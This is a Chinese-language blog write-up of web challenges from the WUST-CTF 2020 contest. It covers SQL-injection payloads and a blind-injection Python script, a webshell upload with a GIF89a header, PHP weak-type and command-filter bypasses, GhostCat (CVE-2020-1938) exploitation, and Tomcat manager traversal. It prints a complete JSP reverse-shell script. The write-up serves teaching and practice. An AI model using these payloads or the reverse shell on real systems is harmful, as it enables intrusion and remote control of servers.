[WUST-CTF]Web WriteUp

周末放假忙里偷闲打了两场比赛,其中一场就是武汉科技大学的WUST-CTF新生赛,虽说是新生赛,题目质量还是相当不错的。最后有幸拿了总排第5,记录一下Web的题解。

checkin

进入题目询问题目作者昵称,在题面里可以看到是52HeRtz,但是发现题目输入框只能输入3个字符,并且按钮是灰色的

直接F12审查元素去掉maxlength以及disable两个属性,输入作者昵称即可

弹出作者的博客地址,跟进去

在作者博客首页可以看到一部分Flag:

根据提示“远古的博客”,找到一篇1970年的文章,文章末尾有后半段Flag:

Here is your flag: [email protected][email protected]_can}

得到Flag:

wctf2020{[email protected][email protected]_can}

admin

进入题目后发现是一个登陆界面,尝试万能密码登陆成功:  [email protected]‘ or 1=1#  
进入http://101.200.53.102:12333/adddddddddddddddddddddddminnnnnnnnnnnnnnnnnnnnnn.php页面
提示必须本地ip才能访问,添加XFF头:  X-Forwarded-For: 127.0.0.1  
又提示用GET方式传一个参数ais, 值为520,GET传值:  ?ais=520  
又提示用POST方式传一个参数wust, 值为1314,POST传值:  wust=1314 
最后得到:你离flag已经很近了,网址给你了: 4dz aste.ubuntu.com/p/ https://p Rqr cSf2

访问后Base64解码得到Flag:

wctf2020{n0w_you_kn0w_the_basic_0f_sql_and_http}

CV Maker

进入题目发现是一个CMS,随便注册一个账号进入个人主页,发现有上传点:

这个按钮就很僵硬好吧,上传php文件(这里发现没有过滤,有点困惑),但是后端有 exif_imagetype()验证,直接在文件头添加GIF89a上传得到Shell

连接Shell,发现根目录下有/readflag,运行得到Flag:

Flag:

wctf2020{congratulation_upl0ad_to_getShe1111111}

朴实无华

进入题目什么都没有,根据“人间极乐bot”字样猜测Robots.txt文件中有hint:

User-agent: *
Disallow: /fAke_f1agggg.php

根据提示进入/fAke_f1agggg.php,在Header中发现fl4g.php,访问得到源码:

<?php
header(‘Content-type:text/html;charset=utf-8‘);
error_reporting(0);
highlight_file(__file__); 

//level 1
if (isset($_GET[‘num‘])){
    $num = $_GET[‘num‘];
    if(intval($num) < 2020 && intval($num + 1) > 2021){
        echo "我不经意间看了看我的劳力士, 不是想看时间, 只是想不经意间, 让你知道我过得比你好.</br>";
    }else{
        die("金钱解决不了穷人的本质问题");
    }
}else{
    die("去非洲吧");
}
//level 2
if (isset($_GET[‘md5‘])){
   $md5=$_GET[‘md5‘];
   if ($md5==md5($md5))
       echo "想到这个CTFer拿到flag后, 感激涕零, 跑去东澜岸, 找一家餐厅, 把厨师轰出去, 自己炒两个拿手小菜, 倒一杯散装白酒, 致富有道, 别学小暴.</br>";
   else
       die("我赶紧喊来我的酒肉朋友, 他打了个电话, 把他一家安排到了非洲");
}else{
    die("去非洲吧");
} 

//get flag
if (isset($_GET[‘get_flag‘])){
    $get_flag = $_GET[‘get_flag‘];
    if(!strstr($get_flag," ")){
        $get_flag = str_ireplace("cat", "wctf2020", $get_flag);
        echo "想到这里, 我充实而欣慰, 有钱人的快乐往往就是这么的朴实无华, 且枯燥.</br>";
        system($get_flag);
    }else{
        die("快到非洲了");
    }
}else{
    die("去非洲吧");
}
?> 

第一层:利用PHP弱类型 num=202.0e8

官方解析:这个比较常见了,intval() 在处理16进制时存在问题,但强制转换时是正常的,intval(字符串)为0,但是intval(字符串+1) 会自动转换成数值的,php7里面修复了这个东西,这里输入 0x1234 即可绕过。

第二层:爆破Md5,要求明文必须为0e开头,md5值必须为0e开头,并且0e后必须为纯数字,写个脚本慢慢爆破吧:

import hashlib
def md5_enc(s):
    m = hashlib.md5()
    m.update(str(s).encode(‘utf-8‘))
    return m.hexdigest()

for i in range(0,9999999999):
    i = ‘0e‘ + str(i)
    enc = md5_enc(i)
    print(i+" md5 is "+enc)
    #md5值前两位为0e
    if enc[:2] == "0e":
        #md5值0e后为纯数字
        if enc[2:].isdigit():
            result.append(i)
            print("Got Result:"+i)
            break

跑了40分钟得到一个值:md5 = 0e215962017

第三层:可以用\的方式绕过对Cat的检测,用 $IFS$9 来代替空格(也可以用mor head等语句代替cat读取文件,方法太多)

ca\t$IFS$9fllllllllllllllllllllllllllllllllllllllllaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa

得到Flag:

wctf2020{[email protected][email protected][email protected]_go0d_time_enj0y_1t} 

easyweb

进入题目发现是一个可以上传文件并下载的网站:

简单测试一下发现是Tomcat/8.5.42,并且8009端口开放,很容易联想到前短时间爆出的tomcat幽灵猫(GhostCat) CVE-2020-1938.

最大的难点在于exp脚本大多都是文件读取的,没有文件包含的比较少,分享一个:

https://pan.baidu.com/s/101wFmK1J0OGYRC383fdBBA 提取码:xg4s

利用思路就是在12121端口的上传点传入jsp木马,然后再利用幽灵猫的exp从8009端口包含jsp木马,包含的时候木马也就会被服务器解析,从而GetShell

分享一个队里师傅用的反弹Shell的jsp脚本:

<%@page import="java.lang.*"%>
<%@page import="java.util.*"%>
<%@page import="java.io.*"%>
<%@page import="java.net.*"%>

<%
  class StreamConnector extends Thread
  {
    InputStream pp;
    OutputStream qk;

    StreamConnector( InputStream pp, OutputStream qk )
    {
      this.pp = pp;
      this.qk = qk;
    }

    public void run()
    {
      BufferedReader qe  = null;
      BufferedWriter ihb = null;
      try
      {
        qe  = new BufferedReader( new InputStreamReader( this.pp ) );
        ihb = new BufferedWriter( new OutputStreamWriter( this.qk ) );
        char buffer[] = new char[8192];
        int length;
        while( ( length = qe.read( buffer, 0, buffer.length ) ) > 0 )
        {
          ihb.write( buffer, 0, length );
          ihb.flush();
        }
      } catch( Exception e ){}
      try
      {
        if( qe != null )
          qe.close();
        if( ihb != null )
          ihb.close();
      } catch( Exception e ){}
    }
  }

  try
  {
    String ShellPath;
if (System.getProperty("os.name").toLowerCase().indexOf("windows") == -1) {
  ShellPath = new String("/bin/sh");
} else {
  ShellPath = new String("cmd.exe");
}

    Socket socket = new Socket( "IP", 6666 );
    Process process = Runtime.getRuntime().exec( ShellPath );
    ( new StreamConnector( process.getInputStream(), socket.getOutputStream() ) ).start();
    ( new StreamConnector( socket.getInputStream(), process.getOutputStream() ) ).start();
  } catch( Exception e ) {}
%>

执行效果如下:

(想复现的时候环境出了问题,反弹Shell会连接重置,所以直接从官方Wp借了一张图)

可以在根目录上找到 flaaaag 目录,目录里有 what_you_want 文件,执行命令 cat /flaaaag/what_you_want 即可读到flag:

wctf2020{0h_you_are_amazing_babyyyy}

颜值成绩查询

进入题目发现是一个查询成绩的页面,明显的SQL注入:

fuzz了一下发现过滤了 空格、union

简单绕过,用/**/替代空格,双写union即可绕过过滤,贴上队里forever404师傅的exp:

#database = ctf
#table_one = flag
#table_two = score
#column_one = flag
#column_two = value
import requests
url = ‘http://101.200.53.102:10114/?stunum=0/**/or/**/ascii(substr((select/**/value/**/from/**/flag),{},1))={}#‘
flag = ‘‘
for m in range(1,50):
    for n in range(48,126):
        res = requests.get(url.format(m,n))
        if ‘admin‘ in res.text:
            flag += chr(n)
            print(chr(n))
            break
    if n==125 and ‘admin‘ not in res.text:
        break
print(flag)

也可以联合注入:

数据库:0/**/uniunionon/**/select/**/1,database(),version()#
表:0/**/uniunionon/**/select/**/1,group_concat(table_name),3/**/from/**/information_schema.tables/**/where/**/table_schema=database()#
列名:0/**/uniunionon/**/select/**/1,group_concat(column_name),3/**/from/**/information_schema.columns/**/where/**/table_name=0x666c6167#
字段:http://101.200.53.102:10114/?stunum=0/**/uniunionon/**/select/**/1,flag,value/**/from/**/flag#

得到Flag:

wctf2020{[email protected]_sq1_and_y0u_sc0re_1t}

train yourself to be godly

本次比赛Web唯一没有做出来的一道题,但是就差最后一步,比赛结束了,有点遗憾,队里的guoke师傅最后10分钟成为了本题的唯一解出

赛后复现一下,填满遗憾吧- -||

这里放出队里guoke师傅的WriteUp(guoke别说我偷你wp了,注明作者了!!!):

根据官方给出的BlackHat议题PPT可以得知利用 ..;/ 可以穿越目录:

[email protected]弱口令进入manager/html 在进行用户名密码验证的时候。发现会返回一个cookie。但是后面请求又没有带上这个cookie。

并且,在本地复现tomcat war包getshell时,发现HTTP请求中都带了HTTP authorxxxxx的认证 带上cookie和HTTP头认证后上传后发现还是403。

猜测和返回cookie的path有关。因为正常情况。直接访问/manager返回path=/manager。而我是通过目录遍历访问的。所以将path也改为/..;/manager

在部署的时候加上之前的SESSION,即可成功上传并访问木马:

得到Flag:

wctf2020{[email protected]_web} 

原文地址:https://www.cnblogs.com/yesec/p/12608971.html

时间: 2024-11-10 07:36:18

[WUST-CTF]Web WriteUp的相关文章

2017 redhat web writeup

2017 RedHat Web writeup1.thinkseeker2.PHPMyWIND3.后台 2017 RedHat Web writeup 1.thinkseeker 这题考两个点 1.用with rollup过前面两个if 2.用盲注找到flag 关于第一点在实验吧有原题:http://www.shiyanbar.com/ctf/1940 过滤方法稍有不同,用操作符代替关键字即可.token使用变量覆盖就可以. 第二点就是infoid这个参数有盲注,跑脚本可以拿到flag. 这是脚

0ops CTF/0CTF writeup

0×00 0CTF『第一届0ops信息安全技术挑战赛,即0ops Capture The Flag,以下简称0CTF. 0CTF由上海交通大学网络信息中心和上海市信息安全行业协会指导,由上海交通大学信息网络安全协会承办,是2014信息安全技能竞赛校园赛首站.0CTF注册与参赛地址为http://ctf.0ops.net. 比赛时间为北京时间2014年3月1日至2日,每天7时至23时,共32小时.』 看官方微博,这个比赛本来是面向上交校内的,就是校外可以做题但是不发奖,后来也给校外发奖了,整体感觉

ISCC 2017 Web writeup

ISCC 2017 Web writeupWeb签到题WelcomeToMySQL自相矛盾我们一起来日站I have a jpg,i upload a txt.where is your flagSimple sqli ISCC 2017 Web writeup Web签到题 这种签到题不能往难了想,首先理所当然的这样传参 hiddenflag=f1ag&flag=f1ag 这回显不一样了,试了很多方法,最后就是再加一个参数FLAG=f1ag,然后就成了,完全没有逻辑... WelcomeToM

ISG 2018 Web Writeup

文章目录 又一次感觉到了,作为一个CTFer,要想在比赛中有高的输出,只做Web是不够的 calc 首先看到题目后,在输入框中测试了一下,发现可以被执行 首先猜想是不是ssti,模板注入,但是平常遇到的模板注入题目中,python的居多,php的没怎么遇到过,有点怀疑如果是php的模板注入的话也不一定能搞得出来,这个时候扫一下目录 1 python dirsearch.py -u http://202.120.7.205:60003/ -e php -t 60 发现存在git源码泄露 直接上gi

31C3 CTF web关writeup

0x00 背景 31c3 CTF 还是很人性化的,比赛结束了之后还可以玩.看题解做出了当时不会做的题目,写了一个writeup. 英文的题解可以看这:https://github.com/ctfs/write-ups/tree/master/31c3-ctf-2014/web 0x01 pCRAPp 1 PHP is nasty crappy sometimes, just pwn it http://188.40.18.69/ 这题需要好多php技巧组合起来.过关需要这样提交. 1 http:

1008.CTF 题目之 WEB Writeup 通关大全 – 2

Web题目系列2 登陆一下好吗?? 题目链接 http://shiyanbar.com/ctf/1942 题目描述 不要怀疑,我已经过滤了一切,还再逼你注入,哈哈哈哈哈! flag格式:ctf{xxxx} 解题思路 一个万能密码问题,多试试就可以了. username: ''=' password: ''=' who are you? 题目链接 http://shiyanbar.com/ctf/1941 题目描述 我要把攻击我的人都记录db中去! 解题思路 看到题目就想到修改x-forwarde

1009.CTF 题目之 WEB Writeup 通关大全 – 3

Web题目系列3 让我进去 题目链接 http://shiyanbar.com/ctf/1848 题目描述 相信你一定能拿到想要的 Hint:你可能希望知道服务器端发生了什么.. 格式:CTF{} 解题思路 用burpsuite抓包后,发现cookie里有一个字段source=0,修改为1后获取源码. 源码内容 <html> <body> <pre> $flag = "XXXXXXXXXXXXXXXXXXXXXXX"; $secret = "

1010.CTF 题目之 WEB Writeup 通关大全 – 4

Web题目系列4 上传绕过 题目链接 http://shiyanbar.com/ctf/1781 题目描述 bypass the upload 格式:flag{} 解题思路 随意上传文件,发现提示只能上传图片文件,上传图片后,看到发送包的内容为 推测最后保存文件的名称为dir + filename,所以使用00截断来构造绕过php不能上传的问题. flag{SimCTF_huachuan} NSCTF web200 题目链接 http://shiyanbar.com/ctf/1760 题目描述

2016 SWPU CTF的WriteUp

2.1.题目信息 地址: QQ群:184517991 分值: 50分Flag: flag{welcome_swpu_ctf} 2.2.解题过程 进入他们官方的QQ群,找了一圈没找到Flag,然后问了下管理员,管理员表示Flag在历史公告,But我的Mac QQ并不能看历史公告,于是... 嗯,这是一道送分题 3.Misc150(Misc2) 2.1.题目信息 地址: http://misc.08067.me/misc2/misc.pcapng分值: 150分Flag: flag{Rgb_dhsk